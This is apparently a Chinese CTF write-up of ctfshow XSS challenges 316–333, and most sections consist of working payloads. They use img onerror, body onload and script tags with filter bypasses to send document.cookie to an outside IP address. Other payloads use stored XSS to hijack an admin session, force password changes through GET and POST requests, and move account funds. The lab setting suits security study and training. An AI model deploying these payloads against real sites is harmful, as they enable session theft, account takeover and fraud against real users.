ctfshow_XSS
ctfshow_XSS
CH0ico参考文献
跨站脚本攻击XSS(最全最细致的靶场实战)_xss靶场-CSDN博客
web 316
1 | // a/php |
记得给权限 chmod -R 777 ./tmp
不然写不进去
1 | //h1xa |
网页跳转
web 317
过滤了 <script>
用 <img>
试试
1 | <img src="" onerror=location.href="http://156.238.233.102/xss/a.php?1="+document.cookie> |
<img>
标签定义了一个图像元素,但是src
属性为空,这意味着图像实际上不会被加载。onerror
事件处理器被绑定到这个图像元素上。这个事件会在图像加载失败时触发。- 当图像加载失败(因为
src
属性为空),onerror
事件被触发,执行其中的JavaScript代码。 - 触发的JavaScript代码将当前页面的
document.cookie
(包含用户的cookie信息)作为查询参数,发送到http://ip/xss/a.php
。
web 318 / 319
过滤了 <script> <img>
用 <body>
试试
1 | <body onload=location.href="http://156.238.233.102/xss/a.php?1="+document.cookie> |
- 当网页加载完成时,
body
标签的onload
事件被触发。 - 触发后,执行
location.href
属性的赋值操作,将当前页面的 URL 重定向到一个新的 URL。 - 新URL是
http://ip/x.php
,后面跟随一个问号?
,然后是cookie=
,后面拼接上当前页面的cookie值,即document.cookie
。
web320-321-过滤空格
使用 tab
、\
反斜杠代替空格
1 | <body/onload=location.href="http://156.238.233.102/xss/a.php?1="+document.cookie> |
web 322
草 322 过滤了 xss
字段 (正好是我的文件夹名 好吧我中招了)
1 | <body onload=location.href="http://156.238.233.102/tm0/x33.php?1="+document.cookie> |
web 323 324 325 326
1 | <body/onload=location.href="http://156.238.233.102/tm0/x33.php?1="+document.cookie> |
通杀了哈
应该是因为在网页里面提交 会被自动 URLencode 绕过对分号 点等符号的过滤吧
web 327 存储型
( 收件人: admin 别 X 错人了就是说哈哈哈 )
1 | <body/onload=location.href="http://156.238.233.102/xss/a.php?1="+document.cookie> |
web 328
方法一
想办法提权到密码 / 管理员权限
先注册一个普通用户进入 看到管理员是能够看到其他用户的账号密码的, 也就是说我的账号密码可以用来 X 管理员
- 注册账号 密码 (账号或密码是 payload 就行)
1
2
3username: choco
password: <script>document.location.href='http://156.238.233.102/xss/a.php?1='+document.cookie</script> - 等 admin 访问之后, 拿到 cookie( 算是 )
1
PHPSESSID=5f3phod1bfefv3kcc9jspjt3m1
- 利用这个 PHPSESSID 在插件Cookie_editor 里面修改就行
- 不过一瞬间就会跳转到我们的 xss 页面, 这里使用 BP 抓包再慢慢放行就好(或者录屏是不是也行 哈哈) BP 里面也有一个
Cookie: PHPSESSID=5f3phod1bfefv3kcc9jspjt3m1
可以直接手动修改 不需要插件
web 329
同方法可以拿到 admin 的 cookie, 但是管理员每次都会自己登出导致 cookie 失效
本地控制台遍历
1 | $('.laytable-cell-1-0-1').each(function(index,value){ |
也就是说插入一个遍历脚本, admin 访问时会把 flagXss 给我
脚本
1 | <script>$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerText.indexOf('ctf'+'show{')>-1){location.href='http://156.238.233.102/xss/a.php?1='+value.innerText}});</script> |
一个很有意思的点 'ctf'+'show{'
- 如果是
ctfshow
会遍历到脚本自己并返回 导致无效 - 如果是
'ctf'+'show'
会遍历到管理员的密码哈哈, 也是一种提权了
web 330
有修改密码的页面
这里可以用 xss 导致管理员自己的密码被修改 从而提权
抓包看看修改密码的数据包路径GET /api/change.php?p=123456
1 | <script>location.href='http://127.0.0.1/api/change.php?p=123';</script> |
因为管理员 admin 默认是服务器管理员 , 这里 ip 是 127.0.0.1
web 331
思路跟 330 一样
但是 330 是 GET 请求 修改密码 , 331 是 POST 请求修改代码
change.php => 查看源码 => <script src="js/select.js"></script>
=> /js/select.js
=> 找到响应 POST 请求
1 | layui.use('form', function(){ |
关键代码
1 | $.ajax({url:'api/change.php',type:'post',data:{p:'123456'}}); |
change.php 通过控制台 可以实现 修改密码
脚本
放在账号里面 , 管理员会被 X
1 | <script>$.ajax({url:'api/change.php',type:'post',data:{p:'123456'}});</script> |
web 332
新增汇款 (? )
注册账户有 5 元, 可以花 9999 买一个 flag
逻辑漏洞 , 可以给 admin 转负数金额 从而赚钱
web 333
非预期
21 年修复了转账负金额 , 但是可以给自己转账(无中生有 绷不住了)
爆破得了
但是现在修复了
脚本
admin 钱也不多, 超额了转不出来
1 | <script>$.ajax({url:'/api/amount.php',type:'post',data:{u:'choco',a:'9000'}});</script> |